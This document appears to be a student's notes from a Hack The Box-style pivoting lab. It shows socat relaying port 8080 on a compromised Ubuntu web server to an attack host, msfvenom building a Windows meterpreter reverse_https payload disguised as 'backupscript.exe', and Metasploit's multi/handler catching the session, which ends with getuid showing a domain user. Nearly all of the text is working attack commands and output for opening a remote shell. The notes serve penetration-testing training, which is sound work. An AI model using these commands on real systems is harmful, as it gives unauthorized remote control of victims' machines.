Socat Redirection with a Reverse Shell

Starting Socat Listener

ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:<attack host>:80

Creating the Windows Payload

b0ySie7e@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 743 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

Configuring & Starting the multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:80

Establishing the Meterpreter Session

[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1 ) at 2022-03-07 11:08:10 -0500

meterpreter > getuid
Server username: INLANEFREIGHT\victor